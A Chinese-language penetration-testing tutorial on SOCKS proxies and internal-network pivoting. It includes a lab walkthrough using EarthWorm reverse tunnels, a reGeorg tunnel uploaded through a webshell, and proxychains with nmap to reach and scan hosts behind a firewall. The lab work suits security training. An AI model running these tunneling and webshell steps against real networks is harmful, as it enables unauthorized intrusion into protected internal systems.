在进行渗透测试过程中会遇到到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器。
代理 (Proxy) 也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。
代理服务器既是服务器又是客户端。客户端向代理发送请求报文,代理服务器必须向服务器一样,正确的处理请求和连接,然后返回响应。同时,代理自身要向服务器发送请求,这样,其行为必须像正确的客户端一-样,要发送请求并接收响应。
(1)客户端不知道真正的服务器是谁,服务器也不知道客户端是什么样的。
(2)客户端同代理服务器,代理服务器同服务器,这两者之间使用的通讯协议是一样的。
(3)代理服务器会对接收的请求进行解析,重新封装后再发送给服务器;在服务器响应后,对响应进行解析,重新封装后再发送给客户端。
Socks 是一种代理服务,通过 Socks 代理可以将两端的计算机连接起来,Socks 支持多种协议,包括SSH
协议、DNS
协议、HTTP
协议和FTP
协议等,Socks 代理分为Socks4
和Socks5
两种,Socks4
只支持TCP
协议,而Socks5
支持TCP/UDP
协议,还支持各种身份验证机制等协议,其标准端口为1080。Socks代理在内网渗透测试中应用非常广泛,能够帮助我们更加便捷的访问内网中的各种服务和资源。
SOCKS5是一个代理协议,它在使用TCP/IP
协议通讯的前端机器和服务器机器之间扮演一个中介角色,使得内部网中的前端机器变得能够访问 Internet 网中的服务器,让通讯更加安全。
S0CKS5服务器通过将前端发来的请求转发给真正的目标服务器,模拟了一个前端的行为。在这里,前端和 SOCKS5 之间也是通过TCP/IP
协议进行通讯,前端将原本要发送给真正服务器的请求发送给 SOCKS5 服务器,然后SOCKS5服务器将请求转发给真正的服务器。
SOCKS5服务器在将通讯请求发送给真正服务器的过程中,对于请求数据包本身不加任何改变。
SOCKS5服务器接收到真正服务器的响应后,也原样转发给前端。由于SOCKS作用在会话层上,因此它是一个提供会话层到会话层间安全服务的方案,不受高层应用程序变更的影响。
SOCKS5代理,是采用SOCKS协议的代理服务器,是一种通用的代理服务器,默认端口是1080。
SOCKS5代理工作在会话层,不要求应用程序遵循特定的操作系统平台,SOCKS5 代理只是简单地传递数据包,而不关心是何种应用协议(比如FTP、HTTP和NNTP请求)。
(1)向代理方服务器发出请求信息。
(2)代理方应答。
(3)需要代理方接到应答后,才向代理方发送目的ip和端口。
(4)代理方与目的连接。
(5)代理方将需要将被代理方发出的信息传到目的方,将目的方发出的信息传到被代理方,代理完成。
Socks 5 协议的第一步是与代理服务器握手,首先客户端向代理服务器发起握手请求,其数据包格式如下所示:
(1)VER
: socks 版本(在 socks5 中是 0x05 )
(2)NMETHODS
:在METHODS
字段中出现的方法的数目
(3)METHODS
:客户端支持的认证方式列表,每个方法占1字节
代理服务器在收到客户端发起的请求之后,向客户端发回握手响应,其数据包格式如下:
(1)VER
:socks 版本(在 socks5 中是 0x05)
(2)METHOD
:服务端选中的方法(若返回 0xFF 表示没有方法被选中,客户端需要关闭连接)
当认证过程通过后,Socks 握手正式完成,此时客户端向代理服务器发起正式请求以指示所要访问的目标进程地址,端口等信息,其数据包格式如下所示:
VER
字段表征Socks版本,固定为0x05
CMD
字段指示连接的类型,占1个字节,共有3个取值,分别为0x01(CONNECT)
,0x02 (BIND)
, 0x03 (UDP ASSOCIATE)
RSV
字段为保留字段,占1个字节,固定为 0x00
ATYP
字段指示地址类型(DST. ADDR字段的类型),0x01 为 IPv4 地址,0x03 为域名,0x04为 IPv6 地址
DST. ADDR
字段指示客户端所要访问的目的地址,这是一 -个变长字段,其长度由一个字段的值来决定
DST. PORT
字段指示客户端所要访问的目的端口
代理服务器在收到以上请求后,其返回的数据包格式如下:
VER
字段占1字节,表征协议版本
REP
字段占1字节,可以理解为状态码,它的值表征了此次连接的状态
RSV
字段占1字节,为保留字段,固定为 0x00
ATYP
字段表示地址类型
BND. ADDR
与BND. PORT
的含义随请求中的 CMD 的不同而不同
当客户端发往代理服务器的数据包的 CMD 字段的值为 0x01 时,代表连接CONNECT,此时DST. ADDR和DST. PORT
指示客户端所想要访问的目标主机的地址和端口,代理服务器在收到该请求后建立 “代理服务器到目标主机” 的 TCP 连接,并将代理服务器分配的 IP 地址和端口在返回的数据包中的BIND. ADDR和BIND. PORT
字段中告诉客户端。
当客户端发往代理服务器的数据包的 CMD 字段的值为 0x02 时,代表绑定 BIND, BIND 主要用在双向连接场景中,在 Socks 5 协议中,客户端只有首先发送 CONNECT 连接之后,才允许发送 BIND 连接,客户端在向代理服务器发送 BIND 请求之后,代理服务器将会向客户端发起两次回复,其中第一次回复发生在代理服务器建立并绑定用于接收目标主机→代理服务器连接的套接字时后(此时只是代理服务器自己创建套接字,目标主机到代理服务器的连接还没有建立),代理服务器在BIND. ADDR和BIND. PORT
字段指示其用于监听目标主机连接的地址和端口,当目标主机→代理服务器连接建立完成后,代理服务器会向客户端发送第二次回复,其中BIND. ADDR和BIND. PORT
指示目标主机的地址和端口。
EW 是一套便携式的网络穿透工具,具有SOCKS v5
服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、 Windows、 MacOS、 Arm-Linux 均被包括其内。
项目地址:http://rootkiter.com/EarthWorm/
该工具共有 6 种命令格式
ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran
【使用场景】
普通网络环境:
1.目标网络边界存在公网IP且可任意开监听端口:
+---------+ +-------------------+
|HackTools| ->> | 8888-> 1.1.1.1 |
+---------+ +-------------------+
a)./ew -s ssocksd -l 8888
// 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
2.目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
一台可控公网IP主机 可控内网主机
+---------+ +--------------------------+ | +---------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 |
+---------+ +--------------------------+ | +---------------+
a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 将目标网络的可控边界主机反向连接公网主机
c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务
对于二重网络环境:
1.获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
A 主机可直连 B 主机
可控边界主机A 可访问指定资源的主机B
+---------+ +-----------------------+ +-----------------+
|HackTools| ->> | 1080 --> 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
+---------+ +-----------------------+ +-----------------+
a) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
// 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
2.获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
A 主机可直连 B 主机
一台可控公网IP主机 可控内网主机A 可访问指定资源的主机B
+---------+ +--------------------------+ | +-----------------+ +-----------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
+---------+ +--------------------------+ | +-----------------+ +-----------------+
a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
// 转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
c) ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
// 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
d) HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理
【参数说明】
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道:
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
下面是一个三级跳的本地测试例子。。。
./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
选项 :
例如:./xxx -s ssocksd -h
-s state 设置函数。你可以从
以下选项:
ssocksd , rcsocks , rssocks ,
lcx_listen , lcx_tran , lcx_slave
-l listenport 为服务启动打开一个端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本,通过添加 -s 参数,
您还可以查看更详细的帮助。
-a about 显示关于页面
-v version 显示版本。
-t usectime 设置超时的毫秒数。 默认
值为 1000
项目地址:https://github.com/rofl0r/proxychains-ng
或者直接: apt install proxychains //安装proxychains
将压缩包放入虚拟机,解压
unzip proxychains-ng
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make clean && make
即可正常使用
使用示例:
$ proxychains telnet targethost.com
在本例中,它将通过代理(或链式代理)运行 telnet
由 proxychains.conf 指定
使用示例:
$ proxychains -f /etc/proxychains-other.conf telnet targethost2.com
在这个例子中,它将使用不同的配置文件然后 proxychains.conf
连接到 targethost2.com 主机。
使用示例:
$ proxyresolv targethost.com
在本例中,它将通过代理(或链式代理)解析 targethost.com
由 proxychains.conf 指定
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过http/https
隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持aspx、php或jsp
这些 web 程序中的一种 。
reGeorg 的功能:
reGeorg 主要功能是将内网服务器端口的数据通过 HTTP(S) 隧道转发到本机,实现基于 HTTP 协议的通信。可以将JSP/PHP/ASP/ASPX
等页面上传到对应语言的目标服务器,便可以访问该服务器后面的主机。
项目下载地址:https://github.com/L-codes/Neo-reGeorg
$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
用于 reGeorg HTTP(s) 隧道程序的 Socks 服务器
可选参数:
-h, --help 显示此帮助信息并退出
-l , --listen-on 默认监听地址
-p , --listen-port 默认监听端口
-r , --read-buff 本地读取缓冲区,每次 POST 发送的最大数据
-u , --url 包含隧道脚本的 url
-v , --verbose 详细输出[INFO|DEBUG]
示例:
$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
项目地址:https://www.nite07.com/proxifier/#%E6%B7%BB%E5%8A%A0%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1%E5%99%A8
因为是图形化界面,所以就不写具体说明了
以下所有样例,如无特殊说明代理端口均为1080,服务均为SOCKSv5代理服务
攻击者连接跳板机,再访问目标机
这里我们使用:目标机win7(打开web服务80端口)、kali 攻击机、跳板机(也可以开web服务)、winserver2012来进行使用
使用场景:web 服务器存在公网 IP 地址可 ping 通,并且可以开放任意端口
(1)跳板机操作
攻击者以某种手段控制了跳板机后,将相应版本的ew
传到跳板机,我们的代理服务器为 windows 所以传ew_for_Win.exe
在代理服务器上运行
./ew_for_Win.exe -s ssocksd -l 8888 //在8888端口上开启socks代理,ssocksd提供正向代理功能
ew 开始监听端口了。监听 1024 以上的端口无需 root 权限,普通用户即可。攻击者连接到跳板机的 8888 端口之后,跳板机根据本机的路由表配置,将访问者的数据包从适当的网口转发出去。转发之后,包的源地址会被修改为这个出口的IP地址
(注意:在linux跳板机上转发数据包,内核的IP转发功能是需要开启的)
(2)攻击者本地运行全局代理
以 proxychains 为例,说明全局代理的用法
vi /etc/proxychains.conf //配置proxychains
将最后一行的socks4注释掉,添加下面的行,端口为跳板机上的ew监听的8888:
socks5 跳板机公网IP 8888
保存退出
proxychains curl 目标机IP //通过socks代理访问目标机
成功,使用如下指令看是否能成功访问
proxychains curl 目标机IP
与上文相同,但这里我们需要4台主机:攻击机kali、跳板机win10(存在公网IP)、代理服务器 winserver2012、web服务器 win7,当然跳板机可以直连 web 服务器
(1)内网跳板机(winserver2012)利用 ssocksd 方式启动8888端口的 socks 代理
ew_for_Win.exe -s ssocksd -l 8888
(2)跳板机(win7)将本机1080端口收到的 socks 代理请求转交给内网的跳板机,也就是win10
ew_for_Win.exe -s lcx_tran -l 1080 -f win10的IP -g 8888
(3)在攻击机 kali 中编辑proxychain.conf
文件配置
vim /etc/proxychains.conf
(4)使用proxychains
代理访问目标机
proxychains curl 目标机
注意:如果访问不到,考虑更换端口号,有可能端口已经被占用!
这里我们使用3台主机:攻击机kali、web服务器(跳板机) winserver2012、目标机 win7
这里我们将用到 proxychains-ng,以及 reGeorg 工具
前提条件:跳板机---- web 服务器为 php 环境有内外网
(1)将 php 文件通过 webshell 上传到跳板机网站根目录
(2)访问跳板机的网站路径中的这个文件,当页面显示如下,表示代理工具能够正常解析
(3)在攻击机中使用 python2 运行 reGeorgSocks.py 脚本配置代理,当郑旭执行结果显示如下,表示该代理工具能正常运行
python2 reGeorgSocksProxy.py -u http://跳板机公网IP/tunnel.nosocket.php -p port
(4)在建立好的 reGeorg 代理工具以后,需要配置proxychains.conf
文件,添加socks5 IP port
,也就是上面圈出的部分,如下所示:
vim /etc/proxychains.conf
(5)通过 reGeorg 代理工具,使用 nmap 对目标内网进行扫描等操作
proxychains nmap -sP 跳板机内网IP段/24
端口扫描
proxychains nmap -sV -A -p- 目标机
这里是4台主机:攻击机win10、web服务器(跳板机)winserver2012、目标机 win7
这里我们将用到 proxychains-ng、proxifiler,以及 reGeorg 工具
前提条件:跳板机---- web 服务器为 php 环境有内外网(当然,只要符合类型即可)
(1)老样子,通过 webshell 上传文件
(2)访问跳板机路径下的上传的文件,出现下图所示表示正常解析运行。
(3)在攻击机中使用 python 运行脚本,出现如下所示表示正常执行
python2 reGeorgSocksProxy.py -u http://跳板机公网IP/tunnel.nosocket.php -p port
(4)在攻击机中打开 proxifier 中选择配置文件,代理服务器,添加,地址为
成功
(5)接着配置代理规则
添加一个规则名proxy
将应用程序 python.exe 与浏览器进程添加
(6)使用代理进行访问目标地址
成功